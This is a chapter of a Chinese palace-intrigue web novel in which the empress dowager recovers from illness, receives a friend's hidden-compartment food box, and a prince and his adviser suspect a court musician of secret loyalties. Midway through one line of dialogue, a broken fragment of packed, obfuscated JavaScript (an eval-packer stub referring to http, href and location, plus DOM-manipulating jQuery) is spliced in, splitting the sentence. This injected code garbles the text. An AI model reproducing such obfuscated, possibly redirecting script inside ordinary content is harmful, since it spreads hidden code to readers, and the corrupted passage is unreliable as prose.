21. 第 21 章

    陵渊知道他正在气头上,放缓了语气:“翟素,你不在朝,不明白其中缘由,并非我围着她转,而是她身为太后,朝中很多事都绕不过她。”


    其实翟素并非有意质问,只是话赶话到那儿了,如今陵渊认真解释,倒叫他有些难为情。


    “你去做什么?”见他起来转身就往外走,陵渊叫住了他。


    “去给你煎药。”


    他的目光追随着翟素的背影,眉间的川字渐渐加深,他知道翟素今日为何情绪失控,他们进京已经小半年了,当初翟素答应来京城,就是信他能帮他把愿望达成。


    可如今半年过去了,他的那件事,依旧毫无进展。


    褚云兮回宫后,发起了热,赵嬷嬷不放心,传太医过来看,太医不知她在水里泡了那么久,声称只是寻常风寒,然而她发热头疼鼻塞声重一样没落下,缠缠绵绵七八日才见好。


    “嬷嬷,魏王那边可有消息?”她喝着清粥,突然问了一句,倒是把陈嬷嬷问住了。


    “这几日不曾听说王爷来宫里,具体什么情况,老奴也不清楚,可要派人过府去看看?”


    她放下碗,思忖了片刻:“让刘公公跑一趟吧,嬷嬷合计一下,从府库中挑些合适的物什一并送去。”


    陈嬷嬷松了一口气:“太后总算想起来这事了。”


    “怎么?”她有些诧异。


    “谢过了,也就心安了。”陈嬷嬷说着,又犯了难,凡恩赏,总得有个由头:“依太后看,以什么名义去为好?”


    “给朔方军将士们请功的折子应该批下去了,他在后方也功不可没,于情于理,都应该给些赏赐。”


    “老奴明白了。”


    陈嬷嬷刚退下,便有宫女来禀,陈怡君来了。


    “快宣。”她赶紧吩咐宫人把膳食撤下去。


    “太后娘娘。”陈怡君捏着嗓子,一进门就大大地行了个礼:“太后娘娘万福金安。”


    褚云兮觑了她一眼,见她煞有介事,一本正经地回了句“免礼”,瞥见她手上挎了个食盒:“手里拿的什么?拿过来给本宫瞧瞧。”


    “臣女遵命。”陈怡君起身,迈着小碎步上来:“这是臣女自己熬制的梨膏,特地带来孝敬太后娘娘。”


    见她在自己面前故作娇柔,褚云兮起了一身鸡皮疙瘩:“好了,好好说话。”


    “你自己熬的?”她从食盒中取出食坛,打开闻了闻,果然一阵浓郁的梨香味。


    “你知道,我外祖一家是庆州人,庆州产的梨子又大又甜,我外祖父每年秋冬都会派人送几筐进京,搁在地窖里,一整个冬天都不会坏。”


    “听说你得了风寒,我就取了些出来熬,二十斤鲜梨才能熬出一斤梨膏,你可省着点用。”


    褚云兮骇然,用了这么多年梨膏,还是头一次听说这么难制,赶紧把盖子合上:“那我可得好好收着。”


    “别,不是什么稀罕物,你若是喜欢,我再熬了给你送来。”陈怡君拦下她,朝她眨了眨眼:“你看看盒子底下还有什么?”


    她半信半疑,伸手去摸,食盒底下一片平坦,但摸着摸着,就觉察出不对来,这底似乎太厚了些,于是伸出食指敲了敲。


    “咚咚……”


    这个声音……她在外壁比了比高度,心里顿时明白过来,下面竟有个夹层。


    她一下来了兴趣,在里面好一番摸索,却不得其法,最后只得塞给陈怡君,酸里酸气地说:“你这是在哪学的这些门道?”


    陈怡君笑着接过,鼓捣了几下,“咔嚓”一声,木板从中间断开,她得意地昂起头:“看看吧,看我给你带了什么好东西!”


    褚云兮眼睛抬都没抬:“池云阁的新话本?”


    “你怎么知道?”陈怡君一脸惊讶,从里面掏出来放到炕桌上。


    “那里面能放下的,可不是只有书吗?”


    “什么都瞒不过你。”陈怡君暧昧地笑了笑:“怎么样,我这个法子不错吧。”


    “食盒不错。”她点点头:“哪得来的?”


    “我父亲请了个木匠过来,要做个翘头书案,我便偷偷让他给我做了这个,你要是喜欢,回去我让他也给你做一个。”


    “那给我做个妆匣吧。”褚云兮用手比划了比划:“这么大就好,简简单单的,不要雕太多花纹。”


    “好。”陈怡君爽快应下:“做好了我差人给你送进来。”


    “回头我让嬷嬷给你拿银子。”


    “要什么银子啊。”陈怡君谄媚地看着她:“云兮,你替我探了魏王的口风,你就是我的再生父母!得知婚约不作数,我父母都高兴坏了,你便是要我们家的全部家产,我父亲都会双手奉上!”


    见她喜得手舞足蹈,褚云兮也替她高兴,只是看着看着,眼中不禁流露出几分羡慕。


    察觉到她的异样,陈怡君脸上的神情也黯淡下来,暗自叹了一口气:“云兮,虽然我们不能再像以前一样偷偷跑出去玩,但是你放心,外面有什么新鲜玩意儿,我一定第一个想到你。”


    “好。”


    李曜回到魏王府,远远便瞧见正堂里摆着几口大箱子,有金银珠宝,还有几十匹锦缎。


    “这是谁来过了?”


    管家手拿着账本从箱子后抬起头来:“李先生回来了?”


    “管家,这是?”他指着那些金银问。


    “宫里的刘公公送来的,说是太后的恩赏。”


    “太后?”他不由皱起了眉:“可有说是为何?”


    “说是王爷在与赤狄一战中出了不少力,特意赏的。”


    李曜听得心里直犯嘀咕,这都多久的事了,黄花菜都凉了。


    到了书房,陵渊埋首不知在写什么,听到他的疑惑,头都没抬:“管她那么多做什么?金银财宝谁会嫌多?”


    “不能不管啊王爷,您猜,我在查永宁塔纵火一事时发现了什么?”


    “发现了什么?”


    “还有一人也在暗中查此事。”


    “谁?”陵渊好奇地抬起头来。


    “上次来过王府的,褚家的琴师。”


    他手一抖,一滴墨滴在纸上,迅速向四周洇开:“陆垣?”


    “正是。”李曜颔首。


    “他查这个做什么?”


    “相比这个,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15123348|163868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    王爷更应该问,他一个小小的琴师,如何和咱们查到同一个线索。”


    听出他话里的深意,陵渊放下手中的笔,撑着桌子起来,来回踱了几步,停到他面前:“先生是说,他另有身份?”


    “不止如此。”李曜:“王爷忘了?当初吴平儿一案,刑部要去万宁县衙提人,是谁头一个发现的?”


    他深吸一口气,是陆垣。那时他也有所怀疑,但案情紧要,再加上陆垣于他没有妨碍,便没有往下查,如今看来,竟是小瞧了他!


    见他面色凝重,李曜忖度了片刻:“还有一事,老朽不知当讲不当讲。”


    陵渊看向他:“先生请讲。”


    “永宁塔一事,其中内情只有我们与太后知道,旁人是不知情的,陆垣在查,是不是太后的授意?”


    陵渊眉眼微动:“她在这事上吃了大亏,有疑心,查一查,也无可厚非。”


    “但这是不是说明,太后早就知道陆垣背后的势力,又或者,这股势力,本身就是太后的。”李曜观察着他的表情,试探着说:


    “那在吴平儿的事上,太后对王爷,是不是也有利用的成分?”


    垂着的衣袖下,陵渊的手霎时攥紧。


    “不会。”他一脸笃定:“她叫陆垣不要插手,是虑及他的处境,如果她知道他身后有别的势力,又何必劝他伏低做小,屈居在褚家的屋檐下?”


    “王爷也说了,太后是顾及他的处境。”那个“他”字,李曜刻意加重了语气。


    “不用管他。”陵渊云淡风轻地说:“我们查我们的便好。”


    “是。”李曜说罢退了下去。


    书房里只剩陵渊一个人,他挥了挥衣袖,走到案前重新坐下,提起笔来踌躇了半晌也没有落下,索性把笔一丢,将染了墨晕的纸团起来,扔进了字纸篓里。


    按大周的习俗,元正前后各三日要休假,除了值守的官员,百官各自归家筹备着过年。


    没有了朝事烦扰,褚云兮自然轻松了许多,再加上先帝新丧,便连年前的百官宴也免了。


    先帝那些嫔妃,她已经遣散的差不多了,出宫的出宫,嫁人的嫁人,只剩下个齐太妃,守着个空落落的霞飞殿,想来也是不会登门讨无趣的。


    所以今年分岁筵也好,守岁也罢,只有她和陵灏,再加上陈嬷嬷一起过,人虽少,却让人安心。


    除夕这日,她清晨一醒,便发现床头放着个荷包,兴冲冲地拆开,发现里面躺着个护身符。


    “太后醒了?”陈嬷嬷听见动静进来。


    “嬷嬷,这是你送我的吗?”褚云兮扬起护身符朝她挥了挥。


    陈嬷嬷笑呵呵地上前,挽起床幔:“今日是除夕,也是姑娘的生辰,老奴前些日子出宫求了个护身符,保姑娘岁岁平安。”


    “谢谢嬷嬷。”她从床上起来,坐到铜镜前,手里捻着护身符,不住地摩挲。


    陈嬷嬷一下一下梳着她的长发:“姑娘一年大似一年,这头发也一年比一年长了。”


    “也只有嬷嬷惦念着我的生辰。”


    陈嬷嬷停下了动作,侧过身看向镜中的她:“谁说的?”